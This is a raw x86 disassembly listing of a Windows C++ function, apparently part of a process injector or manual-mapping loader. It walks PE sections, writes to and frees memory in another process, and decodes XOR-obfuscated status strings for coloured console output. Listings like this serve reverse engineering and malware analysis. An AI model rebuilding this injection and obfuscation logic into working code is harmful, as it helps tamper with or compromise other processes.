mov dword [ebp - 0x1d8], 0x1df2b6a5
mov dword [ebp - 0x1d4], 0x15d06631
mov eax, dword [ebp - 0x1d8]
mov ecx, dword [ebp - 0x1d4]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x1d0], 0xd100a3aa
mov dword [ebp - 0x1cc], 0x491c65e8
mov eax, dword [ebp - 0x1d0]
mov ecx, dword [ebp - 0x1cc]
movaps xmm1, xmmword [ebp - 0x1f0]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x38], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x1f0], xmm1
movups xmmword [ebp - 0x1b0], xmm0
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42bee0
sub ecx, edx
lea eax, [ebp - 0x1f0]
push ecx
push eax
lea ecx, [ebp - 0x1b0]
call fcn.00413c60
push 0xfffffffffffffff5
mov dword [ebp - 4], 0x24
call dword [ebp - 0x14c]
mov esi, eax
lea eax, [ebp - 0x60]
push eax
push esi
call dword [ebp - 0x150]
push 9
push esi
call dword [ebp - 0xf8]
lea eax, [ebp - 0x7c]
push eax
call dword [ebp - 0x154]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00421460
push 0xc
push esi
call dword [ebp - 0xf8]
cmp dword [ebp - 0x19c], 0xf
lea edx, [ebp - 0x1b0]
push dword [ebp - 0x1a0]
cmova edx, dword [ebp - 0x1b0]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00418b10
add esp, 4
push dword [ebp - 0x58]
push esi
call dword [ebp - 0xf8]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x19c]
cmp ecx, 0xf
jbe 0x42bfb2
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42bfa8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov esi, dword [ebp - 0x1bc]
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0xf
mov byte [ebp - 0x1b0], 0
mov edx, dword [ebp - 0x144]
inc esi
add edi, 0x28
mov dword [ebp - 0x1bc], esi
movzx eax, word [edx + 6]
cmp esi, eax
jne 0x42bda3
mov edi, dword [ebp - 0x118]
lea eax, [ebp - 0x64]
push eax
movzx eax, word [edx + 0x14]
push 2
mov dword [ebp - 0x64], 0
push dword [eax + edx + 0x24]
push dword [ebp - 0x148]
push edi
call dword [ebp - 0x1dc]
push 0
push 0x1000
push dword [ebp - 0x1c4]
push dword [ebp - 0xf4]
push edi
call dword [ebp - 0x114]
test eax, eax
jne 0x42c1df
mov dword [ebp - 0xe8], 0x52a0e4e0
xorps xmm0, xmm0
mov dword [ebp - 0xe4], 0x27f34663
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0x170], eax
mov dword [ebp - 0xe8], 0xd100a99f
mov dword [ebp - 0xe4], 0x491c65e8
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], eax
mov dword [ebp - 0xe8], 0x1df2b6a5
mov dword [ebp - 0xe4], 0x15d06631
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0xe8], 0xd100a3aa
mov dword [ebp - 0xe4], 0x491c65e8
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x170]
mov dword [ebp - 0x38], eax
lea edx, [ecx + 1]
movaps xmm1, xmmword [ebp - 0x170]
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x170], xmm1
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c110
sub ecx, edx
lea eax, [ebp - 0x170]
push ecx
push eax
lea ecx, [ebp - 0x40]
call fcn.00413c60
push 0xfffffffffffffff5
mov dword [ebp - 4], 0x25
call dword [ebp - 0x14c]
mov esi, eax
lea eax, [ebp - 0x60]
push eax
push esi
call dword [ebp - 0x150]
push 9
push esi
call dword [ebp - 0xf8]
lea eax, [ebp - 0x7c]
push eax
call dword [ebp - 0x154]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00421460
push 0xc
push esi
call dword [ebp - 0xf8]
cmp dword [ebp - 0x2c], 0xf
lea edx, [ebp - 0x40]
push dword [ebp - 0x30]
cmova edx, dword [ebp - 0x40]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00418b10
add esp, 4
push dword [ebp - 0x58]
push esi
call dword [ebp - 0xf8]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0xf
jbe 0x42c1cd
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c1c3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
push 0x8000
push 0
push dword [ebp - 0xf4]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call edi
test eax, eax
jne 0x42c3a0
mov dword [ebp - 0xe8], 0x52a0e4e0
xorps xmm0, xmm0
mov dword [ebp - 0xe4], 0x27f34663
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0x170], eax
mov dword [ebp - 0xe8], 0xd100a99c
mov dword [ebp - 0xe4], 0x491c65e8
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], eax
mov dword [ebp - 0xe8], 0x1df2b6a5
mov dword [ebp - 0xe4], 0x15d06631
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0xe8], 0xd100a3aa
mov dword [ebp - 0xe4], 0x491c65e8
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x170]
mov dword [ebp - 0x38], eax
lea edx, [ecx + 1]
movaps xmm1, xmmword [ebp - 0x170]
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x170], xmm1
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c2d1
sub ecx, edx
lea eax, [ebp - 0x170]
push ecx
push eax
lea ecx, [ebp - 0x40]
call fcn.00413c60
push 0xfffffffffffffff5
mov dword [ebp - 4], 0x26
call dword [ebp - 0x14c]
mov esi, eax
lea eax, [ebp - 0x60]
push eax
push esi
call dword [ebp - 0x150]
push 9
push esi
call dword [ebp - 0xf8]
lea eax, [ebp - 0x7c]
push eax
call dword [ebp - 0x154]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00421460
push 0xc
push esi
call dword [ebp - 0xf8]
cmp dword [ebp - 0x2c], 0xf
lea edx, [ebp - 0x40]
push dword [ebp - 0x30]
cmova edx, dword [ebp - 0x40]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00418b10
add esp, 4
push dword [ebp - 0x58]
push esi
call dword [ebp - 0xf8]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0xf
jbe 0x42c38e
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c384
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
push 0x8000
push 0
push dword [ebp - 0x1b4]
push dword [ebp - 0x118]
call edi
test eax, eax
jne 0x42c56b
mov dword [ebp - 0xe8], 0x52a0e4e0
xorps xmm0, xmm0
mov dword [ebp - 0xe4], 0x27f34663
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0x170], eax
mov dword [ebp - 0xe8], 0xd100a99d
mov dword [ebp - 0xe4], 0x491c65e8
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], eax
mov dword [ebp - 0xe8], 0x1df2b6a5
mov dword [ebp - 0xe4], 0x15d06631
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0xe8], 0xd100a3aa
mov dword [ebp - 0xe4], 0x491c65e8
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
movaps xmm1, xmmword [ebp - 0x170]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x170]
mov dword [ebp - 0x38], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x170], xmm1
movups xmmword [ebp - 0x210], xmm0
mov dword [ebp - 0x200], 0
mov dword [ebp - 0x1fc], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c4a0
sub ecx, edx
lea eax, [ebp - 0x170]
push ecx
push eax
lea ecx, [ebp - 0x210]
call fcn.00413c60
push 0xfffffffffffffff5
mov dword [ebp - 4], 0x27
call dword [ebp - 0x14c]
mov esi, eax
lea eax, [ebp - 0xa0]
push eax
push esi
call dword [ebp - 0x150]
mov edi, dword [ebp - 0xf8]
push 9
push esi
call edi
lea eax, [ebp - 0x7c]
push eax
call dword [ebp - 0x154]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00421460
push 0xc
push esi
call edi
cmp dword [ebp - 0x1fc], 0xf
lea edx, [ebp - 0x210]
push dword [ebp - 0x200]
cmova edx, dword [ebp - 0x210]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00418b10
add esp, 4
push dword [ebp - 0x98]
push esi
call edi
mov ecx, dword [ebp - 0x1fc]
cmp ecx, 0xf
jbe 0x42c56b
mov edx, dword [ebp - 0x210]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c561
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov al, 1
jmp 0x42cb77
mov dword [ebp - 0xe8], 0x52a0e4e0
xorps xmm0, xmm0
mov dword [ebp - 0xe4], 0x24f34663
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0x170], eax
mov dword [ebp - 0xe8], 0xd100a993
mov dword [ebp - 0xe4], 0x491c65e8
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], eax
mov dword [ebp - 0xe8], 0x1df2b6a5
mov dword [ebp - 0xe4], 0x15d06631
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0xe8], 0xd100a3aa
mov dword [ebp - 0xe4], 0x491c65e8
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
movaps xmm1, xmmword [ebp - 0x170]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x170]
mov dword [ebp - 0x38], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x170], xmm1
movups xmmword [ebp - 0x188], xmm0
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c650
sub ecx, edx
lea eax, [ebp - 0x170]
push ecx
push eax
lea ecx, [ebp - 0x188]
call fcn.00413c60
push 0xfffffffffffffff5
mov dword [ebp - 4], 0x1d
call dword [ebp - 0x14c]
mov esi, eax
lea eax, [ebp - 0x60]
push eax
push esi
call dword [ebp - 0x150]
mov edi, dword [ebp - 0xf8]
push 9
push esi
call edi
lea eax, [ebp - 0x7c]
push eax
call dword [ebp - 0x154]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00421460
push 0xc
push esi
call edi
cmp dword [ebp - 0x174], 0xf
lea edx, [ebp - 0x188]
push dword [ebp - 0x178]
cmova edx, dword [ebp - 0x188]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00418b10
add esp, 4
push dword [ebp - 0x58]
push esi
call edi
mov ecx, dword [ebp - 0x174]
cmp ecx, 0xf
jbe 0x42af4e
mov edx, dword [ebp - 0x188]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42af44
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42af44
jmp 0x428cc3
mov dword [ebp - 0xe8], 0x1df2bc8c
lea esi, [ebp - 0x4b]
mov dword [ebp - 0xe4], 0x15d06631
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x110], eax
mov dword [ebp - 0xe8], 0xd100a3aa
mov dword [ebp - 0xe4], 0x491c65e8
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x104], ecx
mov dword [ebp - 0x108], eax
mov dword [ebp - 0xe8], 0x1df2b6a5
mov dword [ebp - 0xe4], 0x15d06631
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0xe8], 0xd100a3aa
mov dword [ebp - 0xe4], 0x491c65e8
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
movaps xmm1, xmmword [ebp - 0x110]
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x38], eax
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x110], xmm1
mov dword [ebp - 0xf4], ecx
nop dword [eax]
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0xf4]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0xf4], eax
test eax, eax
jne 0x42c7e0
push ecx
lea eax, [ebp - 0x4b]
push eax
push esi
lea ecx, [ebp - 0x598]
call fcn.00412e10
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0xe8], 0x52a0e4e0
mov dword [ebp - 0xe4], 0x24f34663
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x140], eax
mov dword [ebp - 0xe8], 0xf9209992
mov dword [ebp - 0xe4], 0xc582aab
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
mov dword [ebp - 0xe8], 0xd701a77d
mov dword [ebp - 0xe4], 0x7fff4eeb
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0xe8], 0x32a3b4d4
mov dword [ebp - 0xe4], 0x643516ca
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x128], eax
mov dword [ebp - 0xe8], 0x1df2b6a5
mov dword [ebp - 0xe4], 0x15d06631
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0xe8], 0xd100a3aa
mov dword [ebp - 0xe4], 0x491c65e8
mov dword [ebp - 0x230], eax
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x22c], ecx
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0xe8], 0xd7018747
mov dword [ebp - 0xe4], 0x7fff4eeb
mov dword [ebp - 0x228], eax
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x224], ecx
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0xe8], 0x32a3b4d4
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0xe4], 0x643516ca
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
movaps xmm1, xmmword [ebp - 0x140]
xorps xmm1, xmmword [ebp - 0x230]
movaps xmmword [ebp - 0x140], xmm1
movaps xmm1, xmmword [ebp - 0x130]
mov dword [ebp - 0x214], ecx
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x218], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x220]
movaps xmmword [ebp - 0x130], xmm1
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c9c0
sub ecx, edx
lea eax, [ebp - 0x140]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x598]
call fcn.00416370
mov dword [ebp - 0x178], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x188], xmm0
mov dword [ebp - 0x174], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x188], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x178], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x110]
mov byte [ebp - 4], 0x1b
push eax
lea edx, [ebp - 0x188]
lea ecx, [ebp - 0x4c0]
call fcn.004128d0
add esp, 4
mov esi, eax
push 0xfffffffffffffff5
mov byte [ebp - 4], 0x1c
call dword [ebp - 0x14c]
mov edi, eax
lea eax, [ebp - 0x60]
push eax
push edi
call dword [ebp - 0x150]
push 9
push edi
call dword [ebp - 0xf8]
lea eax, [ebp - 0x7c]
push eax
call dword [ebp - 0x154]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00421460
push 0xc
push edi
call dword [ebp - 0xf8]
cmp dword [esi + 0x14], 0xf
mov eax, dword [esi + 0x10]
jbe 0x42ca8f
mov esi, dword [esi]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, esi
push eax
call fcn.00418b10
add esp, 4
push dword [ebp - 0x58]
push edi
call dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x4ac]
cmp ecx, 0xf
jbe 0x42cae4
mov edx, dword [ebp - 0x4c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42cada
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov ecx, dword [ebp - 0x174]
mov dword [ebp - 0x4b0], 0
mov dword [ebp - 0x4ac], 0xf
mov byte [ebp - 0x4c0], 0
cmp ecx, 0xf
jbe 0x42cb39
mov edx, dword [ebp - 0x188]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42cb2f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov ecx, dword [ebp - 0x584]
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 0xf
mov byte [ebp - 0x188], 0
cmp ecx, 0xf
jbe 0x42cb75
mov edx, dword [ebp - 0x598]
inc ecx
jmp 0x428ca1
push ecx
push edx
call fcn.0048531b
add esp, 8
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00484fd2
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret